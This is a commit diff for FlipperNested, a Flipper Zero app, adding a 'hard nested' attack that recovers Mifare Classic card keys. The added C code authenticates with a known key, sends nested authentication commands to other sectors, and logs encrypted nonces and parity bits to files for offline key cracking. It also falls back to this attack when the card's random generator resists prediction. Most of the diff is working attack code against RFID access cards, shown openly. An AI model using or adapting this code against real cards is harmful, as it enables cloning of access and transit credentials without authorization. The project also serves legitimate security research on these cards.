Explorar el Código

1.2.0 - Hard Nested attack

AloneLiberty hace 2 años
padre
commit
af164faa8b

+ 3 - 2
README.md

@@ -10,6 +10,7 @@ Ported nested attacks from proxmark3 (Iceman fork)
 
 
  - nested attack
  - nested attack
  - static nested attack
  - static nested attack
+ - hard nested attack
 
 
 ## Warning
 ## Warning
 
 
@@ -27,11 +28,11 @@ UPD: Chameleon Ultra devs [faced same issue](https://youtu.be/_wfikmXNQzE?t=202)
 
 
 ## How to use it?
 ## How to use it?
 
 
-Detailed guide: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/Usage-guide) [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%93%D0%B0%D0%B9%D0%B4-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E).
+Detailed guide: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/Usage-guide), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%93%D0%B0%D0%B9%D0%B4-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E).
 
 
 ## FAQ
 ## FAQ
 
 
-For frequently asked questions, please refer to the FAQ: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/FAQ) [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%A7%D0%90%D0%92%D0%9E).
+For frequently asked questions, please refer to the FAQ: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/FAQ), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%A7%D0%90%D0%92%D0%9E).
 
 
 ## Contacts
 ## Contacts
 
 

+ 0 - 6
TODO.md

@@ -1,9 +1,3 @@
 # TODO:
 # TODO:
 
 
 1. Better (faster) detection of delay in a nested attack
 1. Better (faster) detection of delay in a nested attack
-2. Fix infinite calibration on static encrypted nonce tags
-3. HardNested attack
-
-## Thinking about:
-
-1. Files (.nonces and .keys) in Flipper file format (why?)

+ 1 - 1
application.fam

@@ -27,5 +27,5 @@ App(
     fap_author="AloneLiberty",
     fap_author="AloneLiberty",
     fap_description="Recover Mifare Classic keys",
     fap_description="Recover Mifare Classic keys",
     fap_weburl="https://github.com/AloneLiberty/FlipperNested",
     fap_weburl="https://github.com/AloneLiberty/FlipperNested",
-    fap_version=(1,1)
+    fap_version=(1,2)
 )
 )

+ 79 - 2
lib/nested/nested.c

@@ -3,7 +3,6 @@
 #include <furi_hal_nfc.h>
 #include <furi_hal_nfc.h>
 #include "../../lib/parity/parity.h"
 #include "../../lib/parity/parity.h"
 #include "../../lib/crypto1/crypto1.h"
 #include "../../lib/crypto1/crypto1.h"
-
 #define TAG "Nested"
 #define TAG "Nested"
 
 
 void nfc_util_num2bytes(uint64_t src, uint8_t len, uint8_t* dest) {
 void nfc_util_num2bytes(uint64_t src, uint8_t len, uint8_t* dest) {
@@ -370,7 +369,9 @@ struct distance_info nested_calibrate_distance_info(
     Crypto1* crypto = malloc(sizeof(Crypto1));
     Crypto1* crypto = malloc(sizeof(Crypto1));
     uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
     uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
     struct distance_info r;
     struct distance_info r;
-    r.invalid = 0;
+    r.min_prng = 0;
+    r.max_prng = 0;
+    r.mid_prng = 0;
 
 
     for(rtr = 0; rtr < 10; rtr++) {
     for(rtr = 0; rtr < 10; rtr++) {
         nfc_activate();
         nfc_activate();
@@ -525,6 +526,82 @@ struct nonce_info nested_attack(
     return r;
     return r;
 }
 }
 
 
+struct nonce_info_hard hard_nested_collect_nonces(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint8_t targetBlockNo,
+    uint8_t targetKeyType,
+    uint64_t ui64Key,
+    uint32_t* found,
+    Stream* file_stream) {
+    uint32_t cuid = 0;
+    uint8_t same = 0;
+    uint64_t previous = 0;
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+    uint8_t par_array[4] = {0x00};
+    struct nonce_info_hard r;
+    r.full = false;
+    r.static_encrypted = false;
+
+    for(uint32_t i = 0; i < 8; i++) {
+        nfc_activate();
+        if(!furi_hal_nfc_activate_nfca(200, &cuid)) return r;
+
+        r.cuid = cuid;
+
+        if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL))
+            continue;
+
+        if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo))
+            continue;
+
+        uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4);
+
+        for(uint32_t j = 0; j < 4; j++) {
+            par_array[j] =
+                (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
+        }
+
+        // update unique nonces
+        if(!found[tx_rx->rx_data[0]]) {
+            found[tx_rx->rx_data[0]]++;
+        }
+
+        uint8_t pbits = 0;
+        for(uint8_t j = 0; j < 4; j++) {
+            uint8_t p = oddparity8(tx_rx->rx_data[j]);
+            if(par_array[j]) {
+                p ^= 1;
+            }
+            pbits <<= 1;
+            pbits |= p;
+        }
+
+        if(nt == previous) {
+            same++;
+        }
+
+        previous = nt;
+
+        FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits);
+        stream_write_string(file_stream, row);
+
+        FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1);
+        furi_string_free(row);
+    }
+
+    if(same > 4) {
+        r.static_encrypted = true;
+    }
+
+    r.full = true;
+
+    nfc_deactivate();
+
+    return r;
+}
+
 NestedCheckKeyResult nested_check_key(
 NestedCheckKeyResult nested_check_key(
     FuriHalNfcTxRxContext* tx_rx,
     FuriHalNfcTxRxContext* tx_rx,
     uint8_t blockNo,
     uint8_t blockNo,

+ 20 - 1
lib/nested/nested.h

@@ -4,6 +4,10 @@
 #include <lib/nfc/protocols/mifare_classic.h>
 #include <lib/nfc/protocols/mifare_classic.h>
 #include <lib/nfc/protocols/crypto1.h>
 #include <lib/nfc/protocols/crypto1.h>
 
 
+#include <storage/storage.h>
+#include <stream/stream.h>
+#include <stream/buffered_file_stream.h>
+
 typedef enum {
 typedef enum {
     MifareNestedNonceNoTag,
     MifareNestedNonceNoTag,
 
 
@@ -20,6 +24,12 @@ struct nonce_info_static {
     bool full;
     bool full;
 };
 };
 
 
+struct nonce_info_hard {
+    uint32_t cuid;
+    bool static_encrypted;
+    bool full;
+};
+
 struct nonce_info {
 struct nonce_info {
     uint32_t cuid;
     uint32_t cuid;
     uint32_t target_nt[2];
     uint32_t target_nt[2];
@@ -32,7 +42,6 @@ struct distance_info {
     uint32_t min_prng;
     uint32_t min_prng;
     uint32_t max_prng;
     uint32_t max_prng;
     uint32_t mid_prng;
     uint32_t mid_prng;
-    uint32_t invalid; // How many PRNG values <> mid_prng +- 100
 };
 };
 
 
 struct nonce_info_static nested_static_nonce_attack(
 struct nonce_info_static nested_static_nonce_attack(
@@ -53,6 +62,16 @@ struct nonce_info nested_attack(
     uint32_t distance,
     uint32_t distance,
     uint32_t delay);
     uint32_t delay);
 
 
+struct nonce_info_hard hard_nested_collect_nonces(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint8_t targetBlockNo,
+    uint8_t targetKeyType,
+    uint64_t ui64Key,
+    uint32_t* found,
+    Stream* file_stream);
+
 uint32_t nested_calibrate_distance(
 uint32_t nested_calibrate_distance(
     FuriHalNfcTxRxContext* tx_rx,
     FuriHalNfcTxRxContext* tx_rx,
     uint8_t blockNo,
     uint8_t blockNo,

+ 27 - 0
mifare_nested.c

@@ -44,9 +44,11 @@ NestedState* collection_alloc() {
             model->header = furi_string_alloc();
             model->header = furi_string_alloc();
             furi_string_set(model->header, "Collecting nonces");
             furi_string_set(model->header, "Collecting nonces");
             model->keys_count = 0;
             model->keys_count = 0;
+            model->hardnested_states = 0;
             model->lost_tag = false;
             model->lost_tag = false;
             model->calibrating = false;
             model->calibrating = false;
             model->need_prediction = false;
             model->need_prediction = false;
+            model->hardnested = false;
         },
         },
         false);
         false);
 
 
@@ -93,6 +95,31 @@ static void nested_draw_callback(Canvas* canvas, void* model) {
             elements_multiline_text_aligned(
             elements_multiline_text_aligned(
                 canvas, 64, 30, AlignCenter, AlignTop, "Calibration will take\nmore time");
                 canvas, 64, 30, AlignCenter, AlignTop, "Calibration will take\nmore time");
         }
         }
+    } else if(m->hardnested) {
+        char draw_str[32] = {};
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(
+            canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));
+        canvas_set_font(canvas, FontSecondary);
+
+        float progress =
+            m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count);
+
+        if(progress > 1.0) {
+            progress = 1.0;
+        }
+
+        elements_progress_bar(canvas, 5, 15, 120, progress);
+        canvas_set_font(canvas, FontSecondary);
+        snprintf(
+            draw_str,
+            sizeof(draw_str),
+            "Nonces collected: %lu/%lu",
+            m->nonces_collected,
+            m->keys_count);
+        canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);
+        snprintf(draw_str, sizeof(draw_str), "States found: %lu/256", m->hardnested_states);
+        canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_str);
     } else {
     } else {
         char draw_str[32] = {};
         char draw_str[32] = {};
         canvas_set_font(canvas, FontPrimary);
         canvas_set_font(canvas, FontPrimary);

+ 4 - 2
mifare_nested_i.h

@@ -19,10 +19,10 @@
 #include <lib/nfc/nfc_device.h>
 #include <lib/nfc/nfc_device.h>
 #include "mifare_nested_icons.h"
 #include "mifare_nested_icons.h"
 
 
-#define NESTED_VERSION_APP "1.1.1"
+#define NESTED_VERSION_APP "1.2.0"
 #define NESTED_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNested"
 #define NESTED_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNested"
 #define NESTED_RECOVER_KEYS_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNestedRecovery"
 #define NESTED_RECOVER_KEYS_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNestedRecovery"
-#define NESTED_NONCE_FORMAT_VERSION "2"
+#define NESTED_NONCE_FORMAT_VERSION "3"
 #define NESTED_AUTHOR "@AloneLiberty (t.me/libertydev)"
 #define NESTED_AUTHOR "@AloneLiberty (t.me/libertydev)"
 
 
 enum MifareNestedCustomEvent {
 enum MifareNestedCustomEvent {
@@ -111,9 +111,11 @@ typedef struct {
     FuriString* header;
     FuriString* header;
     uint32_t keys_count;
     uint32_t keys_count;
     uint32_t nonces_collected;
     uint32_t nonces_collected;
+    uint32_t hardnested_states;
     bool lost_tag;
     bool lost_tag;
     bool calibrating;
     bool calibrating;
     bool need_prediction;
     bool need_prediction;
+    bool hardnested;
 } NestedAttackViewModel;
 } NestedAttackViewModel;
 
 
 typedef struct {
 typedef struct {

+ 290 - 45
mifare_nested_worker.c

@@ -1,6 +1,7 @@
 #include "mifare_nested_worker_i.h"
 #include "mifare_nested_worker_i.h"
 
 
 #include "lib/nested/nested.h"
 #include "lib/nested/nested.h"
+#include "lib/parity/parity.h"
 #include <lib/nfc/protocols/nfc_util.h>
 #include <lib/nfc/protocols/nfc_util.h>
 
 
 #include <storage/storage.h>
 #include <storage/storage.h>
@@ -157,6 +158,24 @@ void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, Furi
     furi_string_cat_printf(file_path, ".keys");
     furi_string_cat_printf(file_path, ".keys");
 }
 }
 
 
+void mifare_nested_worker_get_hardnested_folder_path(
+    FuriHalNfcDevData* data,
+    FuriString* file_path) {
+    furi_string_set(file_path, NESTED_FOLDER "/");
+
+    mifare_nested_worker_write_uid_string(data, file_path);
+}
+
+void mifare_nested_worker_get_hardnested_file_path(
+    FuriHalNfcDevData* data,
+    FuriString* file_path,
+    uint8_t sector,
+    uint8_t key_type) {
+    mifare_nested_worker_get_hardnested_folder_path(data, file_path);
+
+    furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
+}
+
 uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
 uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
     furi_assert(sector < 40);
     furi_assert(sector < 40);
     if(sector < 32) {
     if(sector < 32) {
@@ -289,11 +308,16 @@ uint32_t mifare_nested_worker_predict_delay(
     uint8_t blockNo,
     uint8_t blockNo,
     uint8_t keyType,
     uint8_t keyType,
     uint64_t ui64Key,
     uint64_t ui64Key,
+    uint32_t tries,
     MifareNestedWorker* mifare_nested_worker) {
     MifareNestedWorker* mifare_nested_worker) {
     uint32_t cuid = 0;
     uint32_t cuid = 0;
     Crypto1* crypto = malloc(sizeof(Crypto1));
     Crypto1* crypto = malloc(sizeof(Crypto1));
     uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
     uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
 
 
+    if(tries > 10) {
+        return 2; // To many tries, fallback to hardnested
+    }
+
     // This part of attack is my attempt to implement it on Flipper.
     // This part of attack is my attempt to implement it on Flipper.
     // Proxmark can do this in 2 fucking steps, but idk how.
     // Proxmark can do this in 2 fucking steps, but idk how.
 
 
@@ -421,16 +445,18 @@ uint32_t mifare_nested_worker_predict_delay(
                 return delay;
                 return delay;
             } else if(i > 840 && i < 40000) {
             } else if(i > 840 && i < 40000) {
                 FURI_LOG_D(TAG, "Trying again: timing lost");
                 FURI_LOG_D(TAG, "Trying again: timing lost");
+                tries++;
                 return mifare_nested_worker_predict_delay(
                 return mifare_nested_worker_predict_delay(
-                    tx_rx, blockNo, keyType, ui64Key, mifare_nested_worker);
+                    tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
             }
             }
         }
         }
     }
     }
 
 
     if(i > 1000 && i < 65000) {
     if(i > 1000 && i < 65000) {
         FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
         FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
+        tries++;
         return mifare_nested_worker_predict_delay(
         return mifare_nested_worker_predict_delay(
-            tx_rx, blockNo, keyType, ui64Key, mifare_nested_worker);
+            tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
     }
     }
 
 
     return 1;
     return 1;
@@ -452,9 +478,9 @@ void mifare_nested_worker_write_nonces(
         file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
         file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
 
 
     FuriString* header = furi_string_alloc_printf(
     FuriString* header = furi_string_alloc_printf(
-        "Note: you will need desktop app to recover keys: %s\nVersion: %s\n",
-        NESTED_RECOVER_KEYS_GITHUB_LINK,
-        NESTED_NONCE_FORMAT_VERSION);
+        "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
+        NESTED_NONCE_FORMAT_VERSION,
+        NESTED_RECOVER_KEYS_GITHUB_LINK);
     stream_write_string(file_stream, header);
     stream_write_string(file_stream, header);
 
 
     for(uint8_t tries = 0; tries < tries_count; tries++) {
     for(uint8_t tries = 0; tries < tries_count; tries++) {
@@ -462,29 +488,47 @@ void mifare_nested_worker_write_nonces(
             for(uint8_t key_type = 0; key_type < 2; key_type++) {
             for(uint8_t key_type = 0; key_type < 2; key_type++) {
                 if(nonces->nonces[sector][key_type][tries]->collected &&
                 if(nonces->nonces[sector][key_type][tries]->collected &&
                    !nonces->nonces[sector][key_type][tries]->skipped) {
                    !nonces->nonces[sector][key_type][tries]->skipped) {
-                    FuriString* str = furi_string_alloc_printf(
-                        "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
-
-                    for(uint8_t type = 0; type < 2; type++) {
-                        furi_string_cat_printf(
-                            str,
-                            " nt%u 0x%08lx ks%u 0x%08lx par%u ",
-                            type,
-                            nonces->nonces[sector][key_type][tries]->target_nt[type],
-                            type,
-                            nonces->nonces[sector][key_type][tries]->target_ks[type],
-                            type);
-
-                        uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
-                        for(uint8_t i = 0; i < 4; i++) {
-                            furi_string_cat_printf(str, "%u", par[i]);
+                    if(nonces->nonces[sector][key_type][tries]->hardnested) {
+                        FuriString* path = furi_string_alloc();
+                        mifare_nested_worker_get_hardnested_file_path(
+                            data, path, sector, key_type);
+
+                        FuriString* str = furi_string_alloc_printf(
+                            "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
+                            !key_type ? 'A' : 'B',
+                            nonces->cuid,
+                            furi_string_get_cstr(path),
+                            sector);
+
+                        stream_write_string(file_stream, str);
+
+                        furi_string_free(path);
+                        furi_string_free(str);
+                    } else {
+                        FuriString* str = furi_string_alloc_printf(
+                            "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
+
+                        for(uint8_t type = 0; type < 2; type++) {
+                            furi_string_cat_printf(
+                                str,
+                                " nt%u 0x%08lx ks%u 0x%08lx par%u ",
+                                type,
+                                nonces->nonces[sector][key_type][tries]->target_nt[type],
+                                type,
+                                nonces->nonces[sector][key_type][tries]->target_ks[type],
+                                type);
+
+                            uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
+                            for(uint8_t i = 0; i < 4; i++) {
+                                furi_string_cat_printf(str, "%u", par[i]);
+                            }
                         }
                         }
-                    }
 
 
-                    furi_string_cat_printf(str, " sec %u\n", sector);
+                        furi_string_cat_printf(str, " sec %u\n", sector);
 
 
-                    stream_write_string(file_stream, str);
-                    furi_string_free(str);
+                        stream_write_string(file_stream, str);
+                        furi_string_free(str);
+                    }
                 }
                 }
             }
             }
         }
         }
@@ -726,6 +770,211 @@ void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_neste
     nfc_deactivate();
     nfc_deactivate();
 }
 }
 
 
+void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
+    NonceList_t* nonces = malloc(sizeof(NonceList_t));
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
+    MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
+    FuriString* folder_path = furi_string_alloc();
+    FuriHalNfcDevData data = {};
+    nested_get_data(&data);
+    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
+    uint64_t key = 0; // Found key for attack
+    uint32_t found_key_type = 0;
+    uint32_t key_block = 0;
+    uint32_t sector_count = 0;
+
+    FURI_LOG_I(TAG, "Running hardnested attack");
+    FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
+    mifare_nested_worker_write_uid_string(&data, tag_info);
+    FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
+    furi_string_free(tag_info);
+
+    if(type == MfClassicType4k) {
+        sector_count = 40;
+        FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
+    } else if(type == MfClassicType1k) {
+        sector_count = 16;
+        FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
+    } else if(type == MfClassicTypeMini) {
+        sector_count = 5;
+        FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
+    }
+
+    mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
+    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
+    furi_string_free(folder_path);
+
+    if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
+        nfc_deactivate();
+
+        free(mf_data);
+        free(nonces);
+
+        return;
+    }
+
+    if(!mifare_nested_worker_check_initial_keys(
+           nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
+        nfc_deactivate();
+
+        free(mf_data);
+        free(nonces);
+
+        return;
+    }
+
+    FURI_LOG_I(
+        TAG, "Using %c key for block %lu: %06llX", !found_key_type ? 'A' : 'B', key_block, key);
+
+    FuriHalNfcTxRxContext tx_rx = {};
+    nonces->tries = 1;
+    nonces->hardnested_states = 0;
+    nonces->sector_count = sector_count;
+
+    mifare_nested_worker->context->nonces = nonces;
+
+    mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+    mifare_nested_worker->callback(
+        MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
+
+    for(uint8_t sector = 0;
+        sector < sector_count && mifare_nested_worker->state == MifareNestedWorkerStateCollecting;
+        sector++) {
+        for(uint8_t key_type = 0;
+            key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollecting;
+            key_type++) {
+            Nonces* info = nonces->nonces[sector][key_type][0];
+            if(info->collected) {
+                FURI_LOG_I(
+                    TAG,
+                    "Skipping sector %u, block %u, key_type: %u as we already have a key",
+                    sector,
+                    mifare_nested_worker_get_block_by_sector(sector),
+                    key_type);
+
+                info->skipped = true;
+
+                nonces->nonces[sector][key_type][0] = info;
+                mifare_nested_worker->context->nonces = nonces;
+
+                mifare_nested_worker->callback(
+                    MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+                continue;
+            }
+
+            Stream* file_stream = buffered_file_stream_alloc(storage);
+            FuriString* hardnested_file = furi_string_alloc();
+            mifare_nested_worker_get_hardnested_file_path(
+                &data, hardnested_file, sector, key_type);
+
+            buffered_file_stream_open(
+                file_stream,
+                furi_string_get_cstr(hardnested_file),
+                FSAM_READ_WRITE,
+                FSOM_CREATE_ALWAYS);
+
+            FuriString* cuid = furi_string_alloc_printf("CUID: ");
+            mifare_nested_worker_write_uid_string(&data, cuid);
+            FuriString* header = furi_string_alloc_printf(
+                "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n%s\n",
+                NESTED_NONCE_FORMAT_VERSION,
+                NESTED_RECOVER_KEYS_GITHUB_LINK,
+                furi_string_get_cstr(cuid));
+
+            stream_write_string(file_stream, header);
+            furi_string_free(header);
+            furi_string_free(cuid);
+
+            while(!info->collected &&
+                  mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
+                uint32_t* found = malloc(sizeof(uint32_t) * 256);
+                for(uint32_t i = 0; i < 256; i++) {
+                    found[i] = 0;
+                }
+
+                while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
+                    struct nonce_info_hard result = hard_nested_collect_nonces(
+                        &tx_rx,
+                        key_block,
+                        found_key_type,
+                        mifare_nested_worker_get_block_by_sector(sector),
+                        key_type,
+                        key,
+                        found,
+                        file_stream);
+
+                    if(result.static_encrypted) {
+                        // TODO: Delete file?
+                        buffered_file_stream_close(file_stream);
+                        free(found);
+                        free(mf_data);
+                        nfc_deactivate();
+
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventStaticEncryptedNonce,
+                            mifare_nested_worker->context);
+
+                        return;
+                    }
+
+                    if(result.full) {
+                        uint32_t states = 0;
+                        for(uint32_t i = 0; i < 256; i++) {
+                            states += found[i];
+                        }
+
+                        mifare_nested_worker->context->nonces->hardnested_states = states;
+
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventHardnestedStatesFound,
+                            mifare_nested_worker->context);
+
+                        FURI_LOG_D(TAG, "Found states: %lu", states);
+
+                        if(states == 256) {
+                            info->collected = true;
+                            info->hardnested = true;
+                            nonces->cuid = result.cuid;
+
+                            nonces->nonces[sector][key_type][0] = info;
+
+                            mifare_nested_worker->context->nonces = nonces;
+
+                            mifare_nested_worker->callback(
+                                MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+                            break;
+                        }
+                    } else {
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
+                    }
+                }
+
+                free(found);
+            }
+
+            buffered_file_stream_close(file_stream);
+        }
+    }
+
+    free(mf_data);
+
+    mifare_nested_worker_write_nonces(&data, storage, nonces, 1, sector_count, 0, 0);
+
+    mifare_nested_worker->callback(
+        MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
+
+    nfc_deactivate();
+}
+
 void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
 void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
     NonceList_t* nonces = malloc(sizeof(NonceList_t));
     NonceList_t* nonces = malloc(sizeof(NonceList_t));
     Storage* storage = furi_record_open(RECORD_STORAGE);
     Storage* storage = furi_record_open(RECORD_STORAGE);
@@ -811,14 +1060,12 @@ void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worke
         }
         }
 
 
         if(first_distance == 0 && second_distance == 0) {
         if(first_distance == 0 && second_distance == 0) {
-            mifare_nested_worker->callback(
-                MifareNestedWorkerEventUnpredictablePRNG, mifare_nested_worker->context);
-
             nfc_deactivate();
             nfc_deactivate();
 
 
             free(mf_data);
             free(mf_data);
             free(nonces);
             free(nonces);
 
 
+            mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
             return;
             return;
         }
         }
 
 
@@ -832,15 +1079,7 @@ void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worke
             struct distance_info info =
             struct distance_info info =
                 nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
                 nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
 
 
-            if(info.invalid > 6) {
-                // TODO: WIP
-                FURI_LOG_W(
-                    TAG,
-                    "PRNG is too unpredictable (too much invalid values: %lu), fallback to delay method",
-                    info.invalid);
-
-                delay = 1;
-            } else if(info.max_prng - info.min_prng > 150) {
+            if(info.max_prng - info.min_prng > 150) {
                 FURI_LOG_W(
                 FURI_LOG_W(
                     TAG,
                     TAG,
                     "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
                     "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
@@ -871,7 +1110,7 @@ void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worke
                 MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
                 MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
 
 
             delay = mifare_nested_worker_predict_delay(
             delay = mifare_nested_worker_predict_delay(
-                &tx_rx, key_block, found_key_type, key, mifare_nested_worker);
+                &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
 
 
             if(delay == 1) {
             if(delay == 1) {
                 FURI_LOG_E(TAG, "Can't determine delay");
                 FURI_LOG_E(TAG, "Can't determine delay");
@@ -896,14 +1135,20 @@ void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worke
                     continue;
                     continue;
                 }
                 }
 
 
-                if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
-                    mifare_nested_worker->callback(
-                        MifareNestedWorkerEventUnpredictablePRNG, mifare_nested_worker->context);
-                }
-
                 failed = true;
                 failed = true;
             }
             }
 
 
+            if(delay == 2) {
+                FURI_LOG_E(TAG, "Can't determine delay in 10 tries, fallback to hardnested");
+
+                nfc_deactivate();
+
+                free(mf_data);
+                free(nonces);
+
+                mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
+            }
+
             if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
             if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
                 distance = nested_calibrate_distance(
                 distance = nested_calibrate_distance(
                     &tx_rx, key_block, found_key_type, key, delay, false);
                     &tx_rx, key_block, found_key_type, key, delay, false);
@@ -1291,8 +1536,8 @@ void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
     }
     }
 
 
     if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
     if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
-        FURI_LOG_E(TAG, "Failed to remove key cache file");
-    };
+        FURI_LOG_E(TAG, "Failed to remove .keys file");
+    }
 
 
     furi_record_close(RECORD_STORAGE);
     furi_record_close(RECORD_STORAGE);
     furi_string_free(path);
     furi_string_free(path);

+ 6 - 2
mifare_nested_worker.h

@@ -30,11 +30,12 @@ typedef enum {
     MifareNestedWorkerEventNeedKey,
     MifareNestedWorkerEventNeedKey,
     MifareNestedWorkerEventAttackFailed,
     MifareNestedWorkerEventAttackFailed,
     MifareNestedWorkerEventCalibrating,
     MifareNestedWorkerEventCalibrating,
-    MifareNestedWorkerEventUnpredictablePRNG,
+    MifareNestedWorkerEventStaticEncryptedNonce,
     MifareNestedWorkerEventNeedPrediction,
     MifareNestedWorkerEventNeedPrediction,
     MifareNestedWorkerEventProcessingKeys,
     MifareNestedWorkerEventProcessingKeys,
     MifareNestedWorkerEventNeedKeyRecovery,
     MifareNestedWorkerEventNeedKeyRecovery,
-    MifareNestedWorkerEventNeedCollection
+    MifareNestedWorkerEventNeedCollection,
+    MifareNestedWorkerEventHardnestedStatesFound
 } MifareNestedWorkerEvent;
 } MifareNestedWorkerEvent;
 
 
 typedef bool (*MifareNestedWorkerCallback)(MifareNestedWorkerEvent event, void* context);
 typedef bool (*MifareNestedWorkerCallback)(MifareNestedWorkerEvent event, void* context);
@@ -64,6 +65,7 @@ typedef struct {
     uint8_t parity[2][4];
     uint8_t parity[2][4];
     bool collected;
     bool collected;
     bool skipped;
     bool skipped;
+    bool hardnested;
 } Nonces;
 } Nonces;
 
 
